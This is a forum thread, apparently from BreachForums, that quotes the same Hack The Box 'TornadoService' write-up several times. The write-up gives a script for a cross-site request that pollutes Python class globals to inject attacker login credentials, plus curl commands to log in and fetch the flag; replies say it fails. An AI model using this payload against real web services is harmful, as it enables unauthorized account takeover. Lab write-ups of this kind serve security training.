HTB Web - TornadoService
by macavitysworld - Thursday August 29, 2024 at 04:00 PM
#11
(Sep 17, 2024, 11:17 PM)s0ft Wrote:
(Aug 29, 2024, 04:00 PM)macavitysworld Wrote: HTB Web Challenge - TornadoService Writeup
  • Serve the below index.html somewhere where you can access it with a domain name. You can use Ngrok if you have a paid plan

<script>
    fetch('http://127.0.0.1:1337/get_tornados')
        .then(response => response.json())
        .then(machines => {
            let firstMachine = machines[0].machine_id;
            let json = {
                "machine_id": firstMachine,
                "status": "active",
                "__class__": {
                    "__init__": {
                        "__globals__": {
                            "USERS": [{"username": "kittykat", "password": "kittykat"}]
                        }
                    }
                }
            };

            return fetch(http://127.0.0.1:1337/update_tornado, {
                method: "POST",
                mode: "cors",
                body: JSON.stringify(json)
            });
        })
</script>
  • Access the vulnerable endpoint
curl "http://IP:PORT/report_tornado?ip=hosted file"
  • Wait for 10-15 seconds so that csrf is triggered
  • Once csrf is triggered, we can login with the new credentials
  • save the login request
curl -X POST "http://IP:PORT/login" \
-H "Content-Type: application/json" \
-d '{"username": "kittykat", "password": "kittykat"}' \
-c cookie.txt
  • Access flag
curl -X GET "http://IP:PORT/stats" \

-b cookie.txt


Dm me on telegram @macavitysworld if you are unable to get the flag


There was some errors in the js file provided earlier, all the issue has been fixed and the code has been updated Wink

Hmmm.. I ran everything and unfortunately am still receiving "Invalid credentials". Any suggestions?

Dm me on tg
Thanks @paw for the rank!!
Reply
#12
(Aug 29, 2024, 04:00 PM)macavitysworld Wrote: HTB Web Challenge - TornadoService Writeup
  • Serve the below index.html somewhere where you can access it with a domain name. You can use Ngrok if you have a paid plan

<script>
    fetch('http://127.0.0.1:1337/get_tornados')
        .then(response => response.json())
        .then(machines => {
            let firstMachine = machines[0].machine_id;
            let json = {
                "machine_id": firstMachine,
                "status": "active",
                "__class__": {
                    "__init__": {
                        "__globals__": {
                            "USERS": [{"username": "kittykat", "password": "kittykat"}]
                        }
                    }
                }
            };

            return fetch(http://127.0.0.1:1337/update_tornado, {
                method: "POST",
                mode: "cors",
                body: JSON.stringify(json)
            });
        })
</script>
  • Access the vulnerable endpoint
curl "http://IP:PORT/report_tornado?ip=hosted file"
  • Wait for 10-15 seconds so that csrf is triggered
  • Once csrf is triggered, we can login with the new credentials
  • save the login request
curl -X POST "http://IP:PORT/login" \
-H "Content-Type: application/json" \
-d '{"username": "kittykat", "password": "kittykat"}' \
-c cookie.txt
  • Access flag
curl -X GET "http://IP:PORT/stats" \

-b cookie.txt


Dm me on telegram @macavitysworld if you are unable to get the flag


There was some errors in the js file provided earlier, all the issue has been fixed and the code has been updated Wink

Great stuff once again
Reply
#13
for some reasons its not working for me , I am getting {"error": {"type": "Unauthorized", "message": "Invalid credentials"}}%  error on both local and remote machine

any suggestions ? @soft, how did you fix the issue ?

(Sep 18, 2024, 10:42 AM)s0ft Wrote:
(Sep 18, 2024, 07:38 AM)macavitysworld Wrote:
(Sep 17, 2024, 11:17 PM)s0ft Wrote:
(Aug 29, 2024, 04:00 PM)macavitysworld Wrote: HTB Web Challenge - TornadoService Writeup
  • Serve the below index.html somewhere where you can access it with a domain name. You can use Ngrok if you have a paid plan

<script>
    fetch('http://127.0.0.1:1337/get_tornados')
        .then(response => response.json())
        .then(machines => {
            let firstMachine = machines[0].machine_id;
            let json = {
                "machine_id": firstMachine,
                "status": "active",
                "__class__": {
                    "__init__": {
                        "__globals__": {
                            "USERS": [{"username": "kittykat", "password": "kittykat"}]
                        }
                    }
                }
            };

            return fetch(http://127.0.0.1:1337/update_tornado, {
                method: "POST",
                mode: "cors",
                body: JSON.stringify(json)
            });
        })
</script>
  • Access the vulnerable endpoint
curl "http://IP:PORT/report_tornado?ip=hosted file"
  • Wait for 10-15 seconds so that csrf is triggered
  • Once csrf is triggered, we can login with the new credentials
  • save the login request
curl -X POST "http://IP:PORT/login" \
-H "Content-Type: application/json" \
-d '{"username": "kittykat", "password": "kittykat"}' \
-c cookie.txt
  • Access flag
curl -X GET "http://IP:PORT/stats" \

-b cookie.txt


Dm me on telegram @macavitysworld if you are unable to get the flag


There was some errors in the js file provided earlier, all the issue has been fixed and the code has been updated Wink

Hmmm.. I ran everything and unfortunately am still receiving "Invalid credentials". Any suggestions?

Dm me on tg

You're a legend, thank you very much - not an avid user of breachforums but kudos to you <3

how did you fix the issue ? 

I am also getting same error
{"error": {"type": "Unauthorized", "message": "Invalid credentials"}}%
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [FREE] CPTS 12 FLAGS pulsebreaker 66 1,751 43 minutes ago
Last Post: vlka
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 370 92,408 5 hours ago
Last Post: lifolifo007
  Hack the box Pro Labs, VIP, VIP+ 1 month free Method RedBlock 23 2,203 8 hours ago
Last Post: kkkato
  [FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags Techtom 20 2,516 Yesterday, 11:06 PM
Last Post: op334
Heart [FREE] HackTheBox All Cheatsheets Tamarisk 3 411 Yesterday, 10:36 PM
Last Post: op334

Forum Jump:


 Users browsing this forum: 1 Guest(s)